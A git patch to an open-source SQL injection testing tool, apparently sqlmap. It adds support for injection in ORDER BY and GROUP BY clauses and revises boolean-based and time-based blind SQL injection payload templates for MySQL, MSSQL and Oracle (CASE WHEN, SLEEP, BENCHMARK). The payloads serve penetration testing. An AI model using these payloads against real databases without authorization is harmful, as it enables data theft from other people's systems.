From 9d55c4da877d06a25fb659717e6a523c0bbcc7d1 Mon Sep 17 00:00:00 2001 From: Bernardo Damele Date: Fri, 3 Dec 2010 16:12:47 +0000 Subject: [PATCH] Done with support for injection in ORDER BY and GROUP BY (hopefully) --- lib/core/agent.py | 12 ++++++--- xml/payloads.xml | 62 +++++++++++++++++++++++------------------------ 2 files changed, 39 insertions(+), 35 deletions(-) diff --git a/lib/core/agent.py b/lib/core/agent.py index b5b7a7b93..a4fdd7ff0 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -155,14 +155,14 @@ class Agent: # payload, do not put a space after the prefix if kb.technique == 4: query = kb.injection.prefix + elif kb.injection.clause == [2, 3] or kb.injection.clause == [ 2 ]: + if kb.technique != 3: + query = kb.injection.prefix elif kb.technique and kb.technique in kb.injection.data: where = kb.injection.data[kb.technique].where if where == 3: query = kb.injection.prefix - elif kb.injection.clause == [2, 3] or kb.injection.clause == [ 2 ]: - if kb.technique != 3: - query = kb.injection.prefix if query is None: query = "%s " % kb.injection.prefix @@ -212,6 +212,12 @@ class Agent: payload = payload.replace("[ORIGVALUE]", origvalue) + if kb.dbms is not None: + # NOTE: ugly hack due to queries.xml's tag + # starting with 'AND ' string + inferenceQuery = queries[kb.dbms].inference.query[4:] + payload = payload.replace("[INFERENCE]", inferenceQuery) + return payload def getComment(self, reqObj): diff --git a/xml/payloads.xml b/xml/payloads.xml index 46ae93341..1df874b40 100644 --- a/xml/payloads.xml +++ b/xml/payloads.xml @@ -402,7 +402,6 @@ Formats: 1 1 1 - AND [RANDNUM]=[RANDNUM] @@ -418,7 +417,6 @@ Formats: 3 1 1 - OR [RANDNUM]=[RANDNUM] @@ -430,6 +428,24 @@ Formats: + + + + Generic boolean-based blind - GROUP BY and ORDER BY clauses (append) + 1 + 3 + 1 + 2,3 + 1 + , (SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE 1/0 END)) + + , (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE 1/0 END)) + + + , (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE 1/0 END)) + + + MySQL >= 5.0 boolean-based blind - GROUP BY and ORDER BY clauses (append) 1 @@ -437,7 +453,7 @@ Formats: 1 2,3 1 - + , (SELECT (CASE WHEN (ORD(MID((%s), %d, 1)) > %d) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM information_schema.tables) END)) , (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM information_schema.tables) END)) @@ -457,7 +473,7 @@ Formats: 1 2,3 1 - + , (SELECT (CASE WHEN (ORD(MID((%s), %d, 1)) > %d) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END)) , (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END)) @@ -476,7 +492,7 @@ Formats: 1 3 1 - + , (SELECT (CASE WHEN (ASCII(SUBSTRING((%s), %d, 1)) > %d) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END)) , (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END)) @@ -495,7 +511,7 @@ Formats: 1 3 1 - + , (SELECT (CASE WHEN (ASCII(SUBSTR((%s), %d, 1)) > %d) THEN [ORIGVALUE] ELSE 1/0 END) FROM DUAL) , (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE 1/0 END) FROM DUAL) @@ -507,24 +523,6 @@ Formats: - - - - Generic boolean-based blind - GROUP BY and ORDER BY clauses (append) - 1 - 3 - 1 - 2,3 - 1 - - - , (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE 1/0 END)) - - - , (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE 1/0 END)) - - - MySQL >= 5.0 boolean-based blind - GROUP BY and ORDER BY clauses (replace) 1 @@ -552,7 +550,7 @@ Formats: 1 2,3 3 - + (SELECT (CASE WHEN (ORD(MID((%s), %d, 1)) > %d) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END)) (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END)) @@ -571,7 +569,7 @@ Formats: 1 3 3 - + (SELECT (CASE WHEN (ASCII(SUBSTRING((%s), %d, 1)) > %d) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END)) (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END)) @@ -590,7 +588,7 @@ Formats: 1 3 3 - + (SELECT (CASE WHEN (ASCII(SUBSTR((%s), %d, 1)) > %d) THEN [ORIGVALUE] ELSE 1/0 END) FROM DUAL) (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE 1/0 END) FROM DUAL) @@ -611,7 +609,7 @@ Formats: 1 2,3 3 - + (SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE 1/0 END)) (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE 1/0 END)) @@ -1216,7 +1214,7 @@ Formats: 1 1,2,3 1 - AND IF((%s), [RANDNUM], SLEEP([SLEEPTIME])) + AND IF(([INFERENCE]), [RANDNUM], SLEEP([SLEEPTIME])) AND SLEEP([SLEEPTIME]) @@ -1236,7 +1234,7 @@ Formats: 1 1,2,3 1 - AND IF((%s), [RANDNUM], BENCHMARK(5000000, MD5('[SLEEPTIME]')) + AND IF(([INFERENCE]), [RANDNUM], BENCHMARK(5000000, MD5('[SLEEPTIME]')) AND BENCHMARK(5000000, MD5('[SLEEPTIME]')) @@ -1303,7 +1301,7 @@ Formats: 3 1,2,3 1 - OR IF((%s), [RANDNUM], SLEEP([SLEEPTIME])) + OR IF(([INFERENCE]), [RANDNUM], SLEEP([SLEEPTIME])) OR SLEEP([SLEEPTIME]) @@ -1323,7 +1321,7 @@ Formats: 3 1,2,3 1 - OR IF((%s), [RANDNUM], BENCHMARK(5000000, MD5('[SLEEPTIME]')) + OR IF(([INFERENCE]), [RANDNUM], BENCHMARK(5000000, MD5('[SLEEPTIME]')) OR BENCHMARK(5000000, MD5('[SLEEPTIME]'))